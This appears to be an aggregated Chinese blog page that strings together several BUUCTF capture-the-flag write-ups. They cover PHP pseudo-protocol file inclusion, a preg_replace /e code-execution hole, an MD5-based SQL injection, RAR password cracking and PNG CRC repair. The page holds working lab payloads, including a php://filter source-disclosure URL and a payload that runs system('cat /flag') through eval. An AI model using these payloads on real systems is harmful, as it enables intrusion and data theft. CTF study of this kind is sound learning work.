GVKun编程网logo

[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式

26

对于想了解[BJDCTF2020]ZJCTF,不过如此php伪协议,preg_replace()函数/e模式的读者,本文将提供新的信息,并且为您提供关于ACTF2020新生赛include-PHP伪协

对于想了解[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式的读者,本文将提供新的信息,并且为您提供关于ACTF2020新生赛 include-PHP伪协议、BUUCTF——[BJDCTF2020]Easy MD5 1、CTF-Misc-[BJDCTF2020]just_a_rar、CTF-Misc-[BJDCTF2020]一叶障目的有价值信息。

本文目录一览:

[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式

[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式

转自https://www.cnblogs.com/gaonuoqi/p/12499623.html

题目给了源码

 

复制代码

<?PHP

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not Now!");
    }

    include($file);  //next.PHP
    
}
else{
    highlight_file(__FILE__);
}
?>

复制代码

绕过限制,首先用PHP://input伪协议或着用data伪协议读取I have a dream,然后用filter伪协议读取next.PHP

?text=data://text/plain,I have a dream&file=PHP://filter/convert.base64-encode/resource=next.PHP

获取next.PHP的源码

复制代码

<?PHP
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

复制代码

preg_replace存在/e的命令执行漏洞  看了一下这篇文章的讲解

构造payload

?\S*=${getFlag()}&cmd=system('cat /flag');

ACTF2020新生赛 include-PHP伪协议

ACTF2020新生赛 include-PHP伪协议

PHP伪协议是什么

PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。

PHP伪协议怎么用

这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现

PHP伪协议原理是什么

PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为

  1. URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
  2. 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
  3. 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
  4. 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。

解题

打开题目,只有一个超链接
image.png
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上image.png
页面内容只有一句话Can you find out the flag?但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
image.png
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到

<?php
echo "Can you find out the flag?";
//flag{48938e63-17fb-467d-9934-4efef802c45d}

得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}

当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?

但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出

BUUCTF——[BJDCTF2020]Easy MD5 1

BUUCTF——[BJDCTF2020]Easy MD5 1

前言
这道题在解答之前需要先有个知识储备,其中需要得知识储备是PHP语言以及md5加密得内容,并且为了方便最好再精通一门语言好用来编写脚本
知识储备
PHP中是一个弱语言,它是一个服务器端得语言(也叫后端语言),属于web端得开发语言,和java差不多,但也不完全一样,在PHP中有一个函数叫做md5函数,这个函数得基本格式是:

<?PHP
	$a = '123';
	echo md5($a,true);
?>

这里就要着重的讲述一下echo md5($a,true)了,这里可以将括号中得true改成false,当然这样一来得出得结果就会被更改,因为一个是以16进制显示,而一个是以2进制显示,当然原来得值不会被影响,这就是PHP中得md5函数得作用以及使用方式,接下来我们就进入正题了。
解体步骤
当我们进入环境后,只会看见一盘空白得背景和一个文本框和提交按钮,然后,然后就没然后了…

进入环境

因为刚开始我们也不知道应该做什么操作,而题目也只给出了一个md5得提示,那么我们就线输入一个1看看有没有什么变化:

测试

好家伙,啥都没有,出了多了一个password变量,唉,那就试一试sql注入:

在这里插入图片描述

然而,啥都没有,最后无奈之下试一试抓包看返回包得操作:

在这里插入图片描述

可以看见这里有一串sql语句,而正因为这串语句才使得我们能够进行下面得操作:
(1)这里先写一个脚本并且利用md5函数跑一下,要得出这个样子得规则

在这里插入图片描述


这个字符串就是ffifdyop,这里就能够得出第二个网页了:

在这里插入图片描述


这里查看一下源代码就能够看见一个PHP得代码:

在这里插入图片描述


最后我们只需要传输得值符合这个规则就可以了,接下来编写破解第二个网页得payload了:

在这里插入图片描述


这样后就能得到第三个网页了:

在这里插入图片描述


看来这就是最后一个网页了,现在我们对代码进行分析后就能得出,这里得payload其实和上一个差不多,鹅鹅鹅,然后编写payload并且执行就能得到flag了:

在这里插入图片描述


好了,这道题就得出来了,因为难得写解释了,payload这里用数组就能够符合规则了。

CTF-Misc-[BJDCTF2020]just_a_rar

CTF-Misc-[BJDCTF2020]just_a_rar

CTF-Misc-[BJDCTF2020]just_a_rar

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Misc类,[BJDCTF2020]just_a_rar

思路

这类题目首先把文件下载下来,然后打不开

image-20200513234316210

需要密码,那么我们选择暴力破解,使用暴力破解的软件,在linux下使用rarcrack

rarcrack

下载

sudo apt-get install rarcrack

使用

rarcrack  --type  rar  --threads  10 xxx.rar  

密码是2016,打开发现是一张图片

image-20200514000707379

使用bless

将文件拖进来找到flag

image-20200514001038385

感谢

BUUCTF

以及勤劳的自己

CTF-Misc-[BJDCTF2020]一叶障目

CTF-Misc-[BJDCTF2020]一叶障目

CTF-Misc-[BJDCTF2020]一叶障目

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Misc类,[BJDCTF2020]一叶障目

思路

这类题目首先把文件下载下来,然后打不开,环境是在linux下

image-20200514103243646

报了CRC的错误,是png的CRC校验错误

在网上找到了大佬关于png修复CRC错误的脚本

#coding=utf-8
import zlib
import struct
#读文件
file = ''1.png''  #注意,1.png图片要和脚本在同一个文件夹下哦~
fr = open(file,''rb'').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace(''\\x'','''').replace("b''",''0x'').replace("''",''''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b''\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00'')  #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
    width = bytearray(struct.pack(''>i'', w))#q为8字节,i为4字节,h为2字节
    for h in range(n):
        height = bytearray(struct.pack(''>i'', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
            #print(data)
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)
            #写文件
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+''.png'',''wb'')#保存副本
            fw.write(newpic)
            fw.close
python3 png.py

image-20200514105709852

然后会发现多出来了一个png文件

image-20200514105759467

这个就是修复好了的

打开修复好了的png,找到flag

image-20200514105907228

感谢

BUUCTF

以及勤劳的自己

今天关于[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式的介绍到此结束,谢谢您的阅读,有关ACTF2020新生赛 include-PHP伪协议、BUUCTF——[BJDCTF2020]Easy MD5 1、CTF-Misc-[BJDCTF2020]just_a_rar、CTF-Misc-[BJDCTF2020]一叶障目等更多相关知识的信息可以在本站进行查询。

本文标签: